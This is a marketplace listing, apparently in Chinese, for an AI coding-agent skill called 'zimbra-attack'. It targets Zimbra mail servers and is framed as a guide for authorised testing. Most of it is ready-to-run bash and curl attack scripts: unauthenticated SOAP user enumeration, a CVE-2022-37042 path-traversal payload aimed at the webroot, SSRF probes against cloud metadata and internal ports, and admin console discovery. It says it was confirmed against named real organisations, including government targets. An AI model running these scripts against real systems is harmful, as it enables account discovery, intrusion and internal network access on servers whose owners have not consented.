mcpField
Z
zimbra-attack

zimbra-attack

github.com/uphiago安全1.3k42 次安装8 周前更新
代码仓库

关于 zimbra-attack

zimbra-attack 是针对 Zimbra Collaboration Suite 的安全测试指南,供授权测试人员检查邮件系统暴露面。内容涵盖版本识别、SOAP 用户枚举、特定漏洞检查及管理控制台探测。

主要功能

  1. 01Zimbra 服务与版本识别
  2. 02SOAP 用户枚举测试
  3. 03UploadServlet 路径遍历检查
  4. 04代理端点 SSRF 探测
  5. 05管理控制台暴露检查

适用场景

  1. 01检查目标邮件主机是否运行 Zimbra
  2. 02验证 SOAP 接口是否泄露用户有效性
  3. 03检查已识别版本的 UploadServlet 和代理端点

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/uphiago/recon-skills --skill zimbra-attack

安装后在 Claude Code 中输入/zimbra-attack确认已加载。

详细介绍

Zimbra 攻击技能

Zimbra Collaboration Suite 攻击面——无需身份验证即可通过 SOAP API 枚举用户、版本指纹识别、UploadServlet 路径遍历(CVE-2022-37042)、/service/proxy 内部 SSRF,以及 Admin 控制台访问。已在 IGN Argentina(Zimbra 8.8.11,确认存在 admin 用户,UploadServlet 处于活动状态)、gov-finance-portal(Zimbra Webmail,SOAP 身份验证正常)和 ITERJ(Zimbra Webmail 处于活动状态)上确认。

适用场景

  • 目标有 webmail.、mail. 或 zimbra. 子域名。
  • 邮件服务器重定向到 /zimbra/ 路径。
  • 服务器标头或页面标题包含“Zimbra”。
  • subdomain-enumeration 发现 Webmail 主机后。
  • 政府、大学或企业目标(Zimbra 在这些领域很常见)。

先决条件

  • 带有 curl、python3 的 terminal。
  • 目标 Zimbra URL(通常为 https://webmail.target.com)。
  • 利用 CVE:需要了解目标 Zimbra 版本。

运行方法

# Quick Zimbra detection
curl --max-time 30 --connect-timeout 10 -skI "https://TARGET/" | grep -iE "zimbra|zmail"

# SOAP user enumeration
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://TARGET/service/soap/" \
  -H "Content-Type: application/xml" \
  -d '<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope"><soap:Header><context xmlns="urn:zimbra"/></soap:Header><soap:Body><AuthRequest xmlns="urn:zimbraAccount"><account by="name">admin@TARGET</account><password>test</password></AuthRequest></soap:Body></soap:Envelope>'

快速参考

端点可揭示的信息风险
/service/soap/SOAP API——用户枚举、身份验证测试高
/service/soap/AuthRequest区分有效用户和错误密码高
/zimbraAdmin/Admin 控制台(若已公开)严重
/service/upload?fmt=extUploadServlet(CVE-2022-37042)严重
/service/proxy?target=内部 SSRF严重
/service/extension/扩展列表中
/zimbra/downloads/index.html版本信息泄露中
/zimbra/skins/_base/logos/LoginBanner.png确认 Zimbra 品牌标识信息

流程

阶段 1 — 检测与版本指纹识别
TARGET="$1"
OUTDIR="$OUTDIR/zimbra"
mkdir -p "$OUTDIR"

echo "[*] Zimbra detection on $TARGET"

# Check for Zimbra redirect/headers
INITIAL=$(curl -skI --max-time 10 --connect-timeout 10 "https://$TARGET/" 2>/dev/null)
if echo "$INITIAL" | grep -qi "zimbra\|zmail"; then
  echo "[+] Zimbra confirmed in headers"
fi

# Check page title
TITLE=$(curl -sk --max-time 10 --connect-timeout 10 "https://$TARGET/" 2>/dev/null | grep -Eo '<title>\K[^<]+')
if echo "$TITLE" | grep -qi "zimbra"; then
  echo "[+] Zimbra confirmed — Title: $TITLE"
fi

# Version from download page
VER=$(curl -sk --max-time 10 --connect-timeout 10 "https://$TARGET/zimbra/downloads/index.html" 2>/dev/null | grep -Eo 'Zimbra[^<]+' | head -1)
if [[ -n "$VER" ]]; then
  echo "[+] Version: $VER"
fi

# Version from SOAP response
SOAP_RESP=$(curl -sk -X POST --max-time 10 --connect-timeout 10 "https://$TARGET/service/soap/" \
  -H "Content-Type: application/xml" \
  -d '<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope"><soap:Header><context xmlns="urn:zimbra"/></soap:Header><soap:Body><GetVersionInfoRequest xmlns="urn:zimbraAdmin"/></soap:Body></soap:Envelope>' 2>/dev/null)
ZIMBRA_VER=$(echo "$SOAP_RESP" | grep -Eo '<VersionString>\K[^<]+')
ZIMBRA_RELEASE=$(echo "$SOAP_RESP" | grep -Eo '<ReleaseString>\K[^<]+')
if [[ -n "$ZIMBRA_VER" ]]; then
  echo "[+] Zimbra version from SOAP: $ZIMBRA_VER ($ZIMBRA_RELEASE)"
fi
阶段 2 — SOAP 用户枚举
TARGET="$1"

echo "[*] SOAP user enumeration on $TARGET"

# Test users
USERS=("admin" "administrator" "spam" "ham" "virus" "galsync" "wiki"
       "user" "webmaster" "info" "contato" "suporte" "test")

for user in "${USERS[@]}"; do
  # AuthRequest with wrong password — differentiates valid vs invalid user
  RESP=$(curl -sk -X POST --max-time 5 --connect-timeout 5 "https://$TARGET/service/soap/" \
    -H "Content-Type: application/xml" \
    -d "<soap:Envelope xmlns:soap=\"http://www.w3.org/2003/05/soap-envelope\"><soap:Header><context xmlns=\"urn:zimbra\"/></soap:Header><soap:Body><AuthRequest xmlns=\"urn:zimbraAccount\"><account by=\"name\">$user@$TARGET_DOMAIN</account><password>wrongpass</password></AuthRequest></soap:Body></soap:Envelope>" 2>/dev/null)

  if echo "$RESP" | grep -q "authentication failed"; then
    echo "  [VALID] $user — user EXISTS (wrong password)"
  elif echo "$RESP" | grep -q "no such account"; then
    echo "  [INVALID] $user — does not exist"
  elif echo "$RESP" | grep -q "<authToken>"; then
    echo "  [CRITICAL] $user — DEFAULT CREDENTIALS!"
  fi
done
阶段 3 — CVE-2022-37042 UploadServlet 路径遍历
TARGET="$1"

echo "[*] CVE-2022-37042 check (UploadServlet path traversal)"

# This CVE allows unauthenticated file write via path traversal in UploadServlet
# Affects: Zimbra < 9.0.0 P27, < 8.8.15 P34

UPLOAD_RESP=$(curl -sk -X POST --max-time 10 --connect-timeout 10 "https://$TARGET/service/upload?fmt=extended" \
  -H "Content-Type: application/octet-stream" \
  -d "test" 2>/dev/null)

if echo "$UPLOAD_RESP" | grep -qi "upload\|success\|clientToken"; then
  echo "  [+] UploadServlet ACTIVE — CVE-2022-37042 potentially exploitable"
  echo "  Response: $(echo "$UPLOAD_RESP" | head -1)"

  # Test path traversal (doesn't write — just tests if the endpoint processes it)
  TRAVERSAL_RESP=$(curl -sk -X POST --max-time 10 --connect-timeout 10 "https://$TARGET/service/upload?fmt=extended&lbfums=" \
    -H "Content-Type: application/octet-stream" \
    -d "../../../../../../opt/zimbra/jetty/webapps/zimbra/public/test.jsp" 2>/dev/null)
  if echo "$TRAVERSAL_RESP" | grep -qi "success"; then
    echo "  [CRITICAL] Path traversal appears functional"
  fi
else
  echo "  [-] UploadServlet not accessible (patched or blocked)"
fi
阶段 4 — 通过 /service/proxy 实现内部 SSRF
TARGET="$1"

echo "[*] Internal SSRF via /service/proxy"

# Zimbra proxy endpoint allows internal HTTP requests
# Requires LOW-privilege auth, but worth probing unauthenticated

PROXY_TARGETS=(
  "http://localhost:8080/"
  "http://127.0.0.1:7071/"       # Zimbra Admin port
  "http://127.0.0.1:22/"
  "http://[REDACTED_IP]/latest/meta-data/"  # AWS IMDS
  "http://metadata.google.internal/"
)

for pt in "${PROXY_TARGETS[@]}"; do
  code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 5 --connect-timeout 5 \
    "https://$TARGET/service/proxy?target=${pt}" 2>/dev/null)
  if [[ "$code" == "200" || "$code" == "500" ]]; then
    echo "  [SSRF] $pt → HTTP $code (internal service may be reachable)"
  fi
done
阶段 5 — Zimbra Admin 控制台
TARGET="$1"

echo "[*] Zimbra Admin console check"

ADMIN_CODE=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 10 --connect-timeout 10 "https://$TARGET/zimbraAdmin/" 2>/dev/null)

if [[ "$ADMIN_CODE" == "200" ]]; then
  echo "  [+] Zimbra Admin console EXPOSED"
elif [[ "$ADMIN_CODE" == "302" ]]; then
  LOCATION=$(curl -skI --max-time 5 --connect-timeout 5 "https://$TARGET/zimbraAdmin/" 2>/dev/null | grep -i "location:" | sed 's/.*: //')
  echo "  [REDIR] Admin console redirects to: $LOCATION"
else
  echo "  [-] Admin console: HTTP $ADMIN_CODE"
fi

# Check port 7071 (Zimbra Admin port, sometimes exposed without reverse proxy)
ADMIN_PORT=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 5 --connect-timeout 5 "https://$TARGET:7071/zimbraAdmin/" 2>/dev/null)
[[ "$ADMIN_PORT" == "200" ]] && echo "  [CRITICAL] Admin console on port 7071 EXPOSED"

注意事项

  • SOAP 用户枚举会产生大量日志。 每个请求都会在 Zimbra 审计日志中生成一次登录失败记录。
  • UploadServlet 可能被 nginx 阻止。 如果 Zimbra 位于反向代理之后,即使 servlet 处于活动状态,路径遍历也可能被阻止。
  • 较新版本的 Proxy SSRF 需要身份验证。 在 8.8.15 之前,无需身份验证即可访问。
  • 默认情况下,7071 端口上的 Zimbra Admin 仅限内部访问。 只有在配置错误或进行了端口转发时才会对外开放。

验证

  • SOAP AuthRequest 必须能区分“身份验证失败”(有效用户)和“不存在此帐户”(无效用户)。
  • 必须至少通过 2 个来源确认 Zimbra 版本(SOAP GetVersionInfo、下载页面或横幅)。
  • UploadServlet 响应必须确认该端点会处理上传内容。
  • 所有发现都必须记录准确的 curl 命令和响应。

评论

支持 Markdown